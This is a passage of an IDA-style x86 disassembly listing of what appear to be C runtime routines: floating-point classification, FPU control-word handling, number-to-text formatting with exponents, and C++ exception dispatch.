		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_414718	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414741	proc near		; CODE XREF: sub_410CB2+31p
					; sub_410DFB+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_414758
		cmp	[ebp+arg_0], edx
		jnz	short loc_41476A
		push	1
		jmp	short loc_414794
; ---------------------------------------------------------------------------


loc_414758:				; CODE XREF: sub_414741+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_41476A
		cmp	[ebp+arg_0], edx
		jnz	short loc_41476A
		push	2
		jmp	short loc_414794
; ---------------------------------------------------------------------------


loc_41476A:				; CODE XREF: sub_414741+11j
					; sub_414741+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_41477D
		push	3
		jmp	short loc_414794
; ---------------------------------------------------------------------------


loc_41477D:				; CODE XREF: sub_414741+36j
		cmp	cx, 7FF0h
		jnz	short loc_414797
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_414792
		cmp	[ebp+arg_0], edx
		jz	short loc_414797


loc_414792:				; CODE XREF: sub_414741+4Aj
		push	4


loc_414794:				; CODE XREF: sub_414741+15j
					; sub_414741+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_414797:				; CODE XREF: sub_414741+41j
					; sub_414741+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_414741	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41479B(double,int)

sub_41479B	proc near		; CODE XREF: sub_4143EF+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	ds:dbl_41C790
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_4147BB
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_414851
; ---------------------------------------------------------------------------


loc_4147BB:				; CODE XREF: sub_41479B+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_41482A
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_4147D3
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_41482A


loc_4147D3:				; CODE XREF: sub_41479B+31j
		fld	[ebp+arg_0]
		fcomp	ds:dbl_41C790
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_4147EB
		push	1
		pop	eax
		jmp	short loc_4147ED
; ---------------------------------------------------------------------------


loc_4147EB:				; CODE XREF: sub_41479B+49j
		xor	eax, eax


loc_4147ED:				; CODE XREF: sub_41479B+4Ej
					; sub_41479B+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_414806
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_414800
		or	dword ptr [ebp+arg_0+4], 1


loc_414800:				; CODE XREF: sub_41479B+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_4147ED
; ---------------------------------------------------------------------------


loc_414806:				; CODE XREF: sub_41479B+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_414814
		or	byte ptr [ebp+arg_0+7],	80h


loc_414814:				; CODE XREF: sub_41479B+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_414718
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_414851
; ---------------------------------------------------------------------------


loc_41482A:				; CODE XREF: sub_41479B+28j
					; sub_41479B+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_414718
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_414851:				; CODE XREF: sub_41479B+1Bj
					; sub_41479B+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_41479B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41485C	proc near		; CODE XREF: sub_41413C+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_41485C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41486A	proc near		; CODE XREF: sub_41413C+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_41486A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414879	proc near		; CODE XREF: sub_410CB2+13p
					; sub_410CB2+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_414879	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41489C	proc near		; CODE XREF: sub_4143EF+1Dp
					; sub_4143EF+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_4148B3
		fld	ds:tbyte_42E4B0
		fistp	[ebp+arg_0]
		wait


loc_4148B3:				; CODE XREF: sub_41489C+Bj
		test	cl, 8
		jz	short loc_4148C8
		fstsw	ax
		fld	ds:tbyte_42E4B0
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_4148C8:				; CODE XREF: sub_41489C+1Aj
		test	cl, 10h
		jz	short loc_4148D7
		fld	ds:tbyte_42E4BC
		fstp	[ebp+var_8]
		wait


loc_4148D7:				; CODE XREF: sub_41489C+2Fj
		test	cl, 4
		jz	short loc_4148E5
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_4148E5:				; CODE XREF: sub_41489C+3Ej
		test	cl, 20h
		jz	short locret_4148F0
		fldpi
		fstp	[ebp+var_8]
		wait

locret_4148F0:				; CODE XREF: sub_41489C+4Cj
		leave
		retn
sub_41489C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4148F2	proc near		; CODE XREF: sub_410D81+Fp
		push	30000h
		push	10000h
		call	sub_418265
		pop	ecx
		pop	ecx
		retn
sub_4148F2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414904	proc near		; CODE XREF: sub_414942:loc_414966j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	ds:dbl_41C7A0
		fstp	[ebp+var_8]
		fld	ds:dbl_41C798
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	ds:dbl_41C650
		fnstsw	ax
		sahf
		jbe	short loc_41493E
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_41493E:				; CODE XREF: sub_414904+33j
		xor	eax, eax
		leave
		retn
sub_414904	endp


; =============== S U B	R O U T	I N E =======================================



sub_414942	proc near		; CODE XREF: sub_410D81+5p
		push	offset aKernel32 ; "KERNEL32"
		call	near ptr 0D00004h
		wait
		test	eax, eax
		jz	short loc_414966
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	ds:dword_41C0B0
		test	eax, eax
		jz	short loc_414966
		push	0
		call	eax
		retn
; ---------------------------------------------------------------------------


loc_414966:				; CODE XREF: sub_414942+Dj
					; sub_414942+1Dj
		jmp	sub_414904
sub_414942	endp


; =============== S U B	R O U T	I N E =======================================



sub_41496B	proc near		; CODE XREF: sub_412C3C+3CBp
					; DATA XREF: sub_410D99+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_412027
		cmp	eax, 65h
		pop	ecx
		jz	short loc_4149AB


loc_41497F:				; CODE XREF: sub_41496B+3Ej
		inc	esi
		cmp	ds:dword_42E39C, 1
		jle	short loc_414998
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_413446
		pop	ecx
		pop	ecx
		jmp	short loc_4149A7
; ---------------------------------------------------------------------------


loc_414998:				; CODE XREF: sub_41496B+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, ds:off_42E190
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_4149A7:				; CODE XREF: sub_41496B+2Bj
		test	eax, eax
		jnz	short loc_41497F


loc_4149AB:				; CODE XREF: sub_41496B+12j
		mov	cl, ds:byte_42E3A0
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_4149B6:				; CODE XREF: sub_41496B+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_4149B6
		pop	esi
		retn
sub_41496B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4149C5	proc near		; CODE XREF: sub_412C3C+3E2p
					; DATA XREF: sub_410D99+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, ds:byte_42E3A0
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_4149E1


loc_4149D5:				; CODE XREF: sub_4149C5+1Aj
		cmp	cl, dl
		jz	short loc_4149E1
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_4149D5


loc_4149E1:				; CODE XREF: sub_4149C5+Ej
					; sub_4149C5+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_414A12


loc_4149E8:				; CODE XREF: sub_4149C5+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_4149FB
		cmp	cl, 65h
		jz	short loc_4149FB
		cmp	cl, 45h
		jz	short loc_4149FB
		inc	eax
		jmp	short loc_4149E8
; ---------------------------------------------------------------------------


loc_4149FB:				; CODE XREF: sub_4149C5+27j
					; sub_4149C5+2Cj ...
		mov	ecx, eax


loc_4149FD:				; CODE XREF: sub_4149C5+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_4149FD
		cmp	[eax], dl
		jnz	short loc_414A08
		dec	eax


loc_414A08:				; CODE XREF: sub_4149C5+40j
					; sub_4149C5+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_414A08

locret_414A12:				; CODE XREF: sub_4149C5+21j
		retn
sub_4149C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_414A13	proc near		; DATA XREF: sub_410D99+28o
					; seg002:off_42E4D8o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	ds:dbl_41C790
		fnstsw	ax
		sahf
		jb	short loc_414A28
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_414A28:				; CODE XREF: sub_414A13+Fj
		xor	eax, eax
		retn
sub_414A13	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414A2B	proc near		; CODE XREF: sub_41578D+430p
					; DATA XREF: sub_410D99+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_414A54
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_418728
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_414A54:				; CODE XREF: sub_414A2B+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_418755
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_414A2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414A69	proc near		; CODE XREF: sub_414CE6+17p
					; sub_414D30+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	ds:byte_45F8A8,	0
		push	ebx
		push	esi
		jz	short loc_414A9E
		mov	ebx, [ebp+arg_8]
		mov	eax, ds:dword_45F8A4
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_414D81
		pop	ecx
		pop	ecx
		jmp	short loc_414AD6
; ---------------------------------------------------------------------------


loc_414A9E:				; CODE XREF: sub_414A69+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_4187F9
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_418782
		add	esp, 14h


loc_414AD6:				; CODE XREF: sub_414A69+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_414AE2
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_414AE2:				; CODE XREF: sub_414A69+73j
		test	ebx, ebx
		jle	short loc_414AFA
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, ds:byte_42E3A0
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_414AFA:				; CODE XREF: sub_414A69+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	ds:byte_45F8A8,	cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_411B70
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_414B21
		mov	byte ptr [ecx],	45h


loc_414B21:				; CODE XREF: sub_414A69+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_414B66
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_414B35
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_414B35:				; CODE XREF: sub_414A69+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_414B4C
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_414B4C:				; CODE XREF: sub_414A69+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_414B63
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_414B63:				; CODE XREF: sub_414A69+E7j
		add	[ecx+1], bl


loc_414B66:				; CODE XREF: sub_414A69+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_414A69	endp


; =============== S U B	R O U T	I N E =======================================



sub_414B6D	proc near		; CODE XREF: sub_414D0D+13p
					; sub_414D30+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	ds:byte_45F8A8,	0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_414BA8
		mov	eax, ds:dword_45F8AC
		mov	ebx, [esp+10h+arg_8]
		mov	esi, ds:dword_45F8A4
		cmp	eax, ebx
		jnz	short loc_414BD8
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_414BD8
; ---------------------------------------------------------------------------


loc_414BA8:				; CODE XREF: sub_414B6D+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_4187F9
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_418782
		add	esp, 14h


loc_414BD8:				; CODE XREF: sub_414B6D+22j
					; sub_414B6D+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_414BE6
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_414BE6:				; CODE XREF: sub_414B6D+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_414BFD
		push	1
		push	edi
		call	sub_414D81
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_414BFF
; ---------------------------------------------------------------------------


loc_414BFD:				; CODE XREF: sub_414B6D+7Ej
		add	edi, eax


loc_414BFF:				; CODE XREF: sub_414B6D+8Ej
		test	ebx, ebx
		jle	short loc_414C44
		push	1
		push	edi
		call	sub_414D81
		mov	al, ds:byte_42E3A0
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_414C44
		cmp	ds:byte_45F8A8,	0
		jz	short loc_414C29
		neg	esi
		jmp	short loc_414C2F
; ---------------------------------------------------------------------------


loc_414C29:				; CODE XREF: sub_414B6D+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_414C31


loc_414C2F:				; CODE XREF: sub_414B6D+BAj
		mov	ebx, esi


loc_414C31:				; CODE XREF: sub_414B6D+C0j
		push	ebx
		push	edi
		call	sub_414D81
		push	ebx
		push	30h
		push	edi
		call	sub_410590
		add	esp, 14h


loc_414C44:				; CODE XREF: sub_414B6D+94j
					; sub_414B6D+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_414B6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414C4B	proc near		; CODE XREF: sub_414D30+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_4187F9
		mov	ds:dword_45F8A4, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	ds:dword_45F8AC, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_418782
		mov	eax, ds:dword_45F8A4
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	ds:dword_45F8AC, ecx
		setl	cl
		mov	ds:byte_45F8B0,	cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	ds:dword_45F8AC, eax
		jl	short loc_414CD1
		cmp	eax, ebx
		jge	short loc_414CD1
		test	cl, cl
		jz	short loc_414CC2


loc_414CB8:				; CODE XREF: sub_414C4B+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_414CB8
		and	[esi-2], al


loc_414CC2:				; CODE XREF: sub_414C4B+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_414D0D
		add	esp, 0Ch
		jmp	short loc_414CE1
; ---------------------------------------------------------------------------


loc_414CD1:				; CODE XREF: sub_414C4B+63j
					; sub_414C4B+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_414CE6
		add	esp, 10h


loc_414CE1:				; CODE XREF: sub_414C4B+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_414C4B	endp


; =============== S U B	R O U T	I N E =======================================



sub_414CE6	proc near		; CODE XREF: sub_414C4B+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	ds:byte_45F8A8,	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_414A69
		and	ds:byte_45F8A8,	0
		add	esp, 10h
		retn
sub_414CE6	endp


; =============== S U B	R O U T	I N E =======================================



sub_414D0D	proc near		; CODE XREF: sub_414C4B+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	ds:byte_45F8A8,	1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_414B6D
		and	ds:byte_45F8A8,	0
		add	esp, 0Ch
		retn
sub_414D0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414D30	proc near		; CODE XREF: sub_412C3C+3AAp
					; DATA XREF: sub_410D99o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_414D6B
		cmp	[ebp+arg_8], 45h
		jz	short loc_414D6B
		cmp	[ebp+arg_8], 66h
		jnz	short loc_414D58
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_414B6D
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_414D58:				; CODE XREF: sub_414D30+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_414C4B
		jmp	short loc_414D7C
; ---------------------------------------------------------------------------


loc_414D6B:				; CODE XREF: sub_414D30+7j
					; sub_414D30+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_414A69


loc_414D7C:				; CODE XREF: sub_414D30+39j
		add	esp, 10h
		pop	ebp
		retn
sub_414D30	endp


; =============== S U B	R O U T	I N E =======================================



sub_414D81	proc near		; CODE XREF: sub_414A69+2Cp
					; sub_414B6D+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_414DA4
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_410B60
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_4112D0
		add	esp, 10h
		pop	esi


loc_414DA4:				; CODE XREF: sub_414D81+7j
		pop	edi
		retn
sub_414D81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414DA6	proc near		; CODE XREF: seg000:00410F7Cp
					; sub_410FE5+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_414DBC
		call	sub_415642


loc_414DBC:				; CODE XREF: sub_414DA6+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_414DE4
		cmp	dword ptr [esi+4], 0
		jz	short loc_414E3A
		cmp	[ebp+arg_14], 0
		jnz	short loc_414E3A
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_4150ED
		add	esp, 10h
		jmp	short loc_414E3A
; ---------------------------------------------------------------------------


loc_414DE4:				; CODE XREF: sub_414DA6+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_414E3A
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_414E1E
		cmp	[eax+14h], edi
		jbe	short loc_414E1E
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_414E1E
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_414E3D
; ---------------------------------------------------------------------------


loc_414E1E:				; CODE XREF: sub_414DA6+4Aj
					; sub_414DA6+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_414E41
		add	esp, 20h


loc_414E3A:				; CODE XREF: sub_414DA6+23j
					; sub_414DA6+29j ...
		push	1
		pop	eax


loc_414E3D:				; CODE XREF: sub_414DA6+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_414DA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414E41	proc near		; CODE XREF: sub_414DA6+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_414E61
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_414E66


loc_414E61:				; CODE XREF: sub_414E41+16j
		call	sub_415642


loc_414E66:				; CODE XREF: sub_414E41+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_414FBD
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_414EDA
		cmp	[esi+14h], edi
		jnz	short loc_414EDA
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_414EDA
		mov	esi, ds:dword_45F8B4
		test	esi, esi
		jz	loc_414FB8
		mov	eax, ds:dword_45F8B8
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_418980
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_414EBC
		call	sub_415642


loc_414EBC:				; CODE XREF: sub_414E41+74j
		cmp	[esi], ebx
		jnz	loc_414FBD
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_414EDA
		cmp	[esi+14h], edi
		jnz	short loc_414EDA
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_414EDA
		call	sub_415642


loc_414EDA:				; CODE XREF: sub_414E41+41j
					; sub_414E41+46j ...
		cmp	[esi], ebx
		jnz	loc_414FBD
		cmp	dword ptr [esi+10h], 3
		jnz	loc_414FBD
		cmp	[esi+14h], edi
		jnz	loc_414FBD
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_411133
		add	esp, 14h
		mov	ebx, eax


loc_414F11:				; CODE XREF: sub_414E41+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_414FA8
		cmp	[ebx], edi
		jg	short loc_414F9D
		cmp	edi, [ebx+4]
		jg	short loc_414F9D
